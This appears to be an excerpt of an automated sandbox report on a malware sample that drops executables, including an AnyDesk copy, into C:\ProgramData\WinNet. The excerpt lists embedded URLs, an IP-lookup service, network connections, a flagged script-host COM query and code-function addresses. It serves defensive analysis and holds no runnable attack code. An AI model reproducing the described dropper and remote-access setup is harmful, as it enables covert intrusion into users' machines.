Source: AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000010.00000003.1667333177.000000000498B000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://anydesk.com/pricing/teams
Source: AnyDesk.exe, 00000013.00000003.1678141318.0000000003182000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://anydesk.com/pricing/teams)
Source: AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://anydesk.com/privacy
Source: AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000010.00000003.1667333177.000000000498B000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://anydesk.com/terms
Source: AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000010.00000003.1667333177.000000000498B000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://anydesk.com/update
Source: SysrI6zSkJ.exe, 00000000.00000003.2259823166.000001589E200000.00000004.00001000.00020000.00000000.sdmp, embedded.exe, 00000007.00000002.3477005535.0000022F0BB80000.00000004.00001000.00020000.00000000.sdmp, gg.exe, 0000000F.00000002.1905680590.00000000032D5000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 0000000F.00000000.1644111512.0000000000D62000.00000002.00000001.01000000.00000007.sdmp, gg.exe, 00000012.00000002.1885800670.0000000003025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb/ip
Source: AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp, AnyDesk.exe, 00000013.00000003.1678141318.0000000003182000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://boot.net.anydesk.comabcdefABCDEFtruefalsetfInvalid
Source: gg.exe, 0000000F.00000002.1909250900.0000000004301000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1888129500.00000000042F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: gg.exe, 0000000F.00000002.1909250900.0000000004301000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1888129500.00000000042F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: gg.exe, 0000000F.00000002.1909250900.0000000004301000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1888129500.00000000042F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: embedded.exe, 00000007.00000000.1635812849.00007FF79F51E000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://dartbug.com/52121.
Source: SysrI6zSkJ.exe, 00000000.00000003.2258580120.000001589FD80000.00000004.00001000.00020000.00000000.sdmp, SysrI6zSkJ.exe, 00000000.00000000.1627710192.00007FF75320E000.00000002.00000001.01000000.00000003.sdmp, SysrI6zSkJ.exe, 00000000.00000002.3480634743.00007FF75320E000.00000002.00000001.01000000.00000003.sdmp, embedded.exe, 00000007.00000002.3479713989.00007FF79F51E000.00000002.00000001.01000000.00000004.sdmp, embedded.exe, 00000007.00000000.1635812849.00007FF79F51E000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://dartbug.com/52121.enable_deprecated_wait_fordart::../../runtime/vm/dart_api_impl.ccNewErrorN
Source: AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp, AnyDesk.exe, 00000013.00000003.1678141318.0000000003182000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://datatracker.ietf.org/ipr/1524/
Source: AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp, AnyDesk.exe, 00000013.00000003.1678141318.0000000003182000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://datatracker.ietf.org/ipr/1526/
Source: AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp, AnyDesk.exe, 00000013.00000003.1678141318.0000000003182000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://datatracker.ietf.org/ipr/1914/
Source: gg.exe, 0000000F.00000002.1909250900.0000000004301000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1888129500.00000000042F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: gg.exe, 0000000F.00000002.1909250900.0000000004301000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: gg.exe, 00000012.00000002.1888129500.00000000042F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtabS
Source: gg.exe, 0000000F.00000002.1909250900.0000000004301000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1888129500.00000000042F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: embedded.exe, 00000007.00000000.1635812849.00007FF79F51E000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://github.com/dart-lang/sdk/blob/master/runtime/docs/compiler/aot/entry_point_pragma.md
Source: AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000010.00000003.1667333177.000000000498B000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://help.anydesk.com
Source: AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://help.anydesk.com/
Source: AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://help.anydesk.com/$
Source: AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://help.anydesk.com/HelpLinkInstallLocationAnyDesk
Source: AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000010.00000003.1667333177.000000000498B000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://my.anydesk.com
Source: AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp, AnyDesk.exe, 00000013.00000003.1678141318.0000000003182000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://my.anydesk.com/auth/realms/myanydesk/login-actions/reset-credentials
Source: AnyDesk.exe	String found in binary or memory: https://my.anydesk.com/auth/realms/myanydesk/login-actions/reset-credentials?client_id=myanydesk-fro
Source: AnyDesk.exe, 00000013.00000003.1678141318.0000000003182000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://my.anydesk.com/auth/realms/myanydesk/protocol/openid-connect/registrations?client_id=myanyde
Source: AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://my.anydesk.com/password-generator.
Source: AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp, AnyDesk.exe, 00000013.00000003.1678141318.0000000003182000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://my.anydesk.com/v2
Source: AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000010.00000003.1667333177.000000000498B000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://order.anydesk.com/trial
Source: AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000010.00000003.1667333177.000000000498B000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://policies.google.com/privacy?hl=$
Source: AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://support.anydesk.com
Source: AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000010.00000003.1667333177.000000000498B000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://support.anydesk.com/knowledge/account-migration
Source: AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000010.00000003.1667333177.000000000498B000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://support.anydesk.com/knowledge/anydesk-account
Source: AnyDesk.exe, 00000010.00000003.1667415426.00000000049E0000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000010.00000003.1667333177.000000000498B000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://support.anydesk.com/knowledge/anydesk-for-android-chromeos#troubleshooting
Source: AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000010.00000003.1667333177.000000000498B000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://support.anydesk.com/knowledge/anydesk-id-and-alias
Source: AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000010.00000003.1667450455.0000000004A06000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000010.00000003.1667333177.000000000498B000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://support.anydesk.com/knowledge/my-anydesk-ii#user-management
Source: AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000010.00000003.1667333177.000000000498B000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://support.anydesk.com/knowledge/quick-start-guide
Source: AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000010.00000003.1667333177.000000000498B000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://support.anydesk.com/knowledge/status-anynet_overload
Source: AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000010.00000003.1667333177.000000000498B000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://support.anydesk.com/knowledge/status-desk_rt_auto_disconnect
Source: AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000010.00000003.1667333177.000000000498B000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://support.anydesk.com/knowledge/status-desk_rt_ipc_error
Source: AnyDesk.exe	String found in binary or memory: https://support.anydesk.com/knowledge/the-session-has-ended-unexpectedly
Source: AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000010.00000003.1667333177.000000000498B000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://support.anydesk.com/knowledge/users
Source: AnyDesk.exe	String found in binary or memory: https://support.anydesk.com/knowledge/waiting-for-image-black-screen
Source: AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000010.00000003.1667333177.000000000498B000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://support.anydesk.com/knowledge/what-is-full-client-management
Source: AnyDesk.exe	String found in binary or memory: https://support.google.com/chrome/contact/chromeuninstall3?hl=$1
Source: AnyDesk.exe, 00000013.00000003.1980331395.0000000004F61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/chrome/contact/chromeuninstall3?hl=$1microsoft-edge:openFailed
Source: gg.exe, 0000000F.00000002.1909250900.0000000004301000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1888129500.00000000042F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: gg.exe, 0000000F.00000002.1909250900.0000000004301000.00000004.00000800.00020000.00000000.sdmp, gg.exe, 00000012.00000002.1888129500.00000000042F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: AnyDesk.exe	String found in binary or memory: https://www.google.com/intl/$
Source: AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000013.00000002.3477631483.00000000016E9000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.nayuki.io/page/qr-code-generator-library

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443

Source: unknown	HTTPS traffic detected: 37.59.29.33:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 64.31.23.30:443 -> 192.168.2.4:49733 version: TLS 1.2

Source: AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: DirectDrawCreateEx

memstr_0888e1e9-4

Source: AnyDesk.exe, 00000010.00000003.1659830296.0000000003451000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: GetRawInputData

memstr_d5e2b639-3

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Source: C:\ProgramData\WinNet\AnyDesk.exe

Code function: 19_2_69C3B6C0 new,SetHandleInformation,CreateEnvironmentBlock,CreateProcessAsUserW,DestroyEnvironmentBlock,CreateProcessW,AssignProcessToJobObject,GetCurrentProcess,GetCurrentProcess,TerminateProcess,GetCurrentProcess,WaitForSingleObject,ResumeThread,WaitForSingleObject,

19_2_69C3B6C0

Source: C:\Users\user\Desktop\SysrI6zSkJ.exe	Code function: 0_2_000001589FCCD7AB	0_2_000001589FCCD7AB
Source: C:\Users\user\Desktop\SysrI6zSkJ.exe	Code function: 0_2_000001589FCCD448	0_2_000001589FCCD448
Source: C:\Users\user\Desktop\SysrI6zSkJ.exe	Code function: 0_2_000001589FCB73C4	0_2_000001589FCB73C4
Source: C:\Users\user\Desktop\SysrI6zSkJ.exe	Code function: 0_2_000001589FCD53CE	0_2_000001589FCD53CE
Source: C:\Users\user\Desktop\SysrI6zSkJ.exe	Code function: 0_2_000001589FCBF294	0_2_000001589FCBF294
Source: C:\Users\user\Desktop\SysrI6zSkJ.exe	Code function: 0_2_000001589FCB711C	0_2_000001589FCB711C
Source: C:\Users\user\Desktop\SysrI6zSkJ.exe	Code function: 0_2_000001589FCB68B8	0_2_000001589FCB68B8
Source: C:\ProgramData\WinNet\embedded.exe	Code function: 7_2_0000022F0C4257AB	7_2_0000022F0C4257AB
Source: C:\ProgramData\WinNet\embedded.exe	Code function: 7_2_0000022F0C40E8B8	7_2_0000022F0C40E8B8
Source: C:\ProgramData\WinNet\embedded.exe	Code function: 7_2_0000022F0C40F11C	7_2_0000022F0C40F11C
Source: C:\ProgramData\WinNet\embedded.exe	Code function: 7_2_0000022F0C417294	7_2_0000022F0C417294
Source: C:\ProgramData\WinNet\embedded.exe	Code function: 7_2_0000022F0C40F3C4	7_2_0000022F0C40F3C4
Source: C:\ProgramData\WinNet\embedded.exe	Code function: 7_2_0000022F0C42D3CE	7_2_0000022F0C42D3CE
Source: C:\ProgramData\WinNet\embedded.exe	Code function: 7_2_0000022F0C425448	7_2_0000022F0C425448
Source: C:\ProgramData\WinNet\gg.exe	Code function: 15_2_030CDC74	15_2_030CDC74
Source: C:\ProgramData\WinNet\gg.exe	Code function: 15_2_06CBA338	15_2_06CBA338
Source: C:\ProgramData\WinNet\gg.exe	Code function: 15_2_06CBBE70	15_2_06CBBE70
Source: C:\ProgramData\WinNet\gg.exe	Code function: 15_2_06CB0591	15_2_06CB0591
Source: C:\ProgramData\WinNet\gg.exe	Code function: 15_2_06CBBE61	15_2_06CBBE61
Source: C:\ProgramData\WinNet\gg.exe	Code function: 15_2_06CBEC80	15_2_06CBEC80
Source: C:\ProgramData\WinNet\gg.exe	Code function: 15_2_06CBEC70	15_2_06CBEC70
Source: C:\ProgramData\WinNet\gg.exe	Code function: 15_2_06CB2DD8	15_2_06CB2DD8
Source: C:\ProgramData\WinNet\gg.exe	Code function: 15_2_06CBA844	15_2_06CBA844
Source: C:\ProgramData\WinNet\gg.exe	Code function: 15_2_06CBA850	15_2_06CBA850
Source: C:\ProgramData\WinNet\gg.exe	Code function: 15_2_096A81C0	15_2_096A81C0
Source: C:\ProgramData\WinNet\gg.exe	Code function: 15_2_096A5180	15_2_096A5180
Source: C:\ProgramData\WinNet\gg.exe	Code function: 15_2_096A8860	15_2_096A8860
Source: C:\ProgramData\WinNet\gg.exe	Code function: 15_2_096A7018	15_2_096A7018
Source: C:\ProgramData\WinNet\gg.exe	Code function: 15_2_096A58D8	15_2_096A58D8
Source: C:\ProgramData\WinNet\gg.exe	Code function: 15_2_096A4080	15_2_096A4080
Source: C:\ProgramData\WinNet\gg.exe	Code function: 15_2_096AB510	15_2_096AB510
Source: C:\ProgramData\WinNet\gg.exe	Code function: 15_2_096A2DD0	15_2_096A2DD0
Source: C:\ProgramData\WinNet\gg.exe	Code function: 15_2_096A35A8	15_2_096A35A8
Source: C:\ProgramData\WinNet\gg.exe	Code function: 15_2_096A3C00	15_2_096A3C00
Source: C:\ProgramData\WinNet\gg.exe	Code function: 15_2_096A94C8	15_2_096A94C8
Source: C:\ProgramData\WinNet\gg.exe	Code function: 15_2_096A4778	15_2_096A4778
Source: C:\ProgramData\WinNet\gg.exe	Code function: 15_2_096A7658	15_2_096A7658
Source: C:\ProgramData\WinNet\gg.exe	Code function: 15_2_096A81B0	15_2_096A81B0
Source: C:\ProgramData\WinNet\gg.exe	Code function: 15_2_096A2188	15_2_096A2188
Source: C:\ProgramData\WinNet\gg.exe	Code function: 15_2_096A4070	15_2_096A4070
Source: C:\ProgramData\WinNet\gg.exe	Code function: 15_2_096A0040	15_2_096A0040
Source: C:\ProgramData\WinNet\gg.exe	Code function: 15_2_096A885F	15_2_096A885F
Source: C:\ProgramData\WinNet\gg.exe	Code function: 15_2_096A4027	15_2_096A4027
Source: C:\ProgramData\WinNet\gg.exe	Code function: 15_2_096A7008	15_2_096A7008
Source: C:\ProgramData\WinNet\gg.exe	Code function: 15_2_096A0013	15_2_096A0013
Source: C:\ProgramData\WinNet\gg.exe	Code function: 15_2_096A2548	15_2_096A2548
Source: C:\ProgramData\WinNet\gg.exe	Code function: 15_2_096A2537	15_2_096A2537
Source: C:\ProgramData\WinNet\gg.exe	Code function: 15_2_096A2DC0	15_2_096A2DC0
Source: C:\ProgramData\WinNet\gg.exe	Code function: 15_2_096A3598	15_2_096A3598
Source: C:\ProgramData\WinNet\gg.exe	Code function: 15_2_096A64E8	15_2_096A64E8
Source: C:\ProgramData\WinNet\gg.exe	Code function: 15_2_096A64D8	15_2_096A64D8
Source: C:\ProgramData\WinNet\gg.exe	Code function: 15_2_096A94B9	15_2_096A94B9
Source: C:\ProgramData\WinNet\gg.exe	Code function: 15_2_096A4768	15_2_096A4768
Source: C:\ProgramData\WinNet\gg.exe	Code function: 18_2_0142DC74	18_2_0142DC74
Source: C:\ProgramData\WinNet\gg.exe	Code function: 18_2_0617D648	18_2_0617D648
Source: C:\ProgramData\WinNet\gg.exe	Code function: 18_2_06178668	18_2_06178668
Source: C:\ProgramData\WinNet\gg.exe	Code function: 18_2_061796E0	18_2_061796E0
Source: C:\ProgramData\WinNet\gg.exe	Code function: 18_2_0617A488	18_2_0617A488
Source: C:\ProgramData\WinNet\gg.exe	Code function: 18_2_06179D20	18_2_06179D20
Source: C:\ProgramData\WinNet\gg.exe	Code function: 18_2_0617EDE8	18_2_0617EDE8
Source: C:\ProgramData\WinNet\gg.exe	Code function: 18_2_0617C2C0	18_2_0617C2C0
Source: C:\ProgramData\WinNet\gg.exe	Code function: 18_2_06175AE8	18_2_06175AE8
Source: C:\ProgramData\WinNet\gg.exe	Code function: 18_2_0617B389	18_2_0617B389
Source: C:\ProgramData\WinNet\gg.exe	Code function: 18_2_061763B8	18_2_061763B8
Source: C:\ProgramData\WinNet\gg.exe	Code function: 18_2_0617CBD8	18_2_0617CBD8
Source: C:\ProgramData\WinNet\gg.exe	Code function: 18_2_061708E8	18_2_061708E8
Source: C:\ProgramData\WinNet\gg.exe	Code function: 18_2_0617811B	18_2_0617811B
Source: C:\ProgramData\WinNet\gg.exe	Code function: 18_2_06178659	18_2_06178659
Source: C:\ProgramData\WinNet\gg.exe	Code function: 18_2_061796D0	18_2_061796D0
Source: C:\ProgramData\WinNet\gg.exe	Code function: 18_2_061757A0	18_2_061757A0
Source: C:\ProgramData\WinNet\gg.exe	Code function: 18_2_06179D10	18_2_06179D10
Source: C:\ProgramData\WinNet\gg.exe	Code function: 18_2_061708D7	18_2_061708D7
Source: C:\ProgramData\WinNet\gg.exe	Code function: 18_2_071A6F78	18_2_071A6F78
Source: C:\ProgramData\WinNet\gg.exe	Code function: 18_2_071A85D0	18_2_071A85D0
Source: C:\ProgramData\WinNet\gg.exe	Code function: 18_2_071A7CE8	18_2_071A7CE8
Source: C:\ProgramData\WinNet\gg.exe	Code function: 18_2_071A6288	18_2_071A6288
Source: C:\ProgramData\WinNet\gg.exe	Code function: 18_2_071AAADF	18_2_071AAADF
Source: C:\ProgramData\WinNet\gg.exe	Code function: 18_2_071A7CDB	18_2_071A7CDB
Source: C:\ProgramData\WinNet\gg.exe	Code function: 18_2_071A321F	18_2_071A321F
Source: C:\ProgramData\WinNet\gg.exe	Code function: 18_2_071A3230	18_2_071A3230
Source: C:\ProgramData\WinNet\gg.exe	Code function: 18_2_071A6279	18_2_071A6279
Source: C:\ProgramData\WinNet\gg.exe	Code function: 18_2_071A6978	18_2_071A6978
Source: C:\ProgramData\WinNet\AnyDesk.exe	Code function: 19_2_69C439A4	19_2_69C439A4
Source: C:\ProgramData\WinNet\AnyDesk.exe	Code function: 19_2_69C44B22	19_2_69C44B22
Source: C:\ProgramData\WinNet\AnyDesk.exe	Code function: 19_2_69C35D10	19_2_69C35D10
Source: C:\ProgramData\WinNet\AnyDesk.exe	Code function: 19_2_69C47F4E	19_2_69C47F4E
Source: C:\ProgramData\WinNet\AnyDesk.exe	Code function: 19_2_69C41ED0	19_2_69C41ED0
Source: C:\ProgramData\WinNet\AnyDesk.exe	Code function: 19_2_69C43EA0	19_2_69C43EA0
Source: C:\ProgramData\WinNet\AnyDesk.exe	Code function: 19_2_69C4AE20	19_2_69C4AE20
Source: C:\ProgramData\WinNet\AnyDesk.exe	Code function: 19_2_69C4817D	19_2_69C4817D
Source: C:\ProgramData\WinNet\AnyDesk.exe	Code function: 19_2_69C2A090	19_2_69C2A090
Source: C:\ProgramData\WinNet\AnyDesk.exe	Code function: 19_2_69C53093	19_2_69C53093
Source: C:\ProgramData\WinNet\AnyDesk.exe	Code function: 19_2_69C403B7	19_2_69C403B7
Source: C:\ProgramData\WinNet\AnyDesk.exe	Code function: 19_2_69C52301	19_2_69C52301
Source: C:\ProgramData\WinNet\AnyDesk.exe	Code function: 19_2_69C442B8	19_2_69C442B8
Source: C:\ProgramData\WinNet\AnyDesk.exe	Code function: 19_2_69C34580	19_2_69C34580
Source: C:\ProgramData\WinNet\AnyDesk.exe	Code function: 19_2_69C58517	19_2_69C58517
Source: C:\ProgramData\WinNet\AnyDesk.exe	Code function: 19_2_69C556C9	19_2_69C556C9
Source: C:\ProgramData\WinNet\AnyDesk.exe	Code function: 19_2_69C446ED	19_2_69C446ED
Source: C:\ProgramData\WinNet\gg.exe	Code function: 21_2_015BDC74	21_2_015BDC74
Source: C:\ProgramData\WinNet\gg.exe	Code function: 21_2_079BA6B8	21_2_079BA6B8
Source: C:\ProgramData\WinNet\gg.exe	Code function: 21_2_079B6300	21_2_079B6300
Source: C:\ProgramData\WinNet\gg.exe	Code function: 21_2_079B80A0	21_2_079B80A0
Source: C:\ProgramData\WinNet\gg.exe	Code function: 21_2_079B9F30	21_2_079B9F30
Source: C:\ProgramData\WinNet\gg.exe	Code function: 21_2_079BAC18	21_2_079BAC18
Source: C:\ProgramData\WinNet\gg.exe	Code function: 21_2_079B6BD0	21_2_079B6BD0
Source: C:\ProgramData\WinNet\gg.exe	Code function: 21_2_079B08E8	21_2_079B08E8
Source: C:\ProgramData\WinNet\gg.exe	Code function: 21_2_079BA6A9	21_2_079BA6A9
Source: C:\ProgramData\WinNet\gg.exe	Code function: 21_2_079B5FB8	21_2_079B5FB8
Source: C:\ProgramData\WinNet\gg.exe	Code function: 21_2_079B9F21	21_2_079B9F21
Source: C:\ProgramData\WinNet\gg.exe	Code function: 21_2_079BAC09	21_2_079BAC09
Source: C:\ProgramData\WinNet\gg.exe	Code function: 21_2_079B08D8	21_2_079B08D8
Source: C:\ProgramData\WinNet\gg.exe	Code function: 21_2_07BF5798	21_2_07BF5798
Source: C:\ProgramData\WinNet\gg.exe	Code function: 21_2_07BF47D0	21_2_07BF47D0
Source: C:\ProgramData\WinNet\gg.exe	Code function: 21_2_07BF7540	21_2_07BF7540
Source: C:\ProgramData\WinNet\gg.exe	Code function: 21_2_07BFA470	21_2_07BFA470
Source: C:\ProgramData\WinNet\gg.exe	Code function: 21_2_07BFC270	21_2_07BFC270
Source: C:\ProgramData\WinNet\gg.exe	Code function: 21_2_07BF4068	21_2_07BF4068
Source: C:\ProgramData\WinNet\gg.exe	Code function: 21_2_07BFCFC8	21_2_07BFCFC8
Source: C:\ProgramData\WinNet\gg.exe	Code function: 21_2_07BF7E58	21_2_07BF7E58
Source: C:\ProgramData\WinNet\gg.exe	Code function: 21_2_07BF3A28	21_2_07BF3A28
Source: C:\ProgramData\WinNet\gg.exe	Code function: 21_2_07BF88D1	21_2_07BF88D1
Source: C:\ProgramData\WinNet\gg.exe	Code function: 21_2_07BF4057	21_2_07BF4057
Source: C:\ProgramData\WinNet\gg.exe	Code function: 21_2_07BF5EA2	21_2_07BF5EA2
Source: C:\ProgramData\WinNet\gg.exe	Code function: 21_2_07BF3A18	21_2_07BF3A18
Source: C:\ProgramData\WinNet\gg.exe	Code function: 21_2_07BF1988	21_2_07BF1988
Source: C:\ProgramData\WinNet\gg.exe	Code function: 21_2_07BF1979	21_2_07BF1979
Source: C:\ProgramData\WinNet\gg.exe	Code function: 21_2_07BF1950	21_2_07BF1950
Source: C:\ProgramData\WinNet\gg.exe	Code function: 21_2_07BF68A0	21_2_07BF68A0
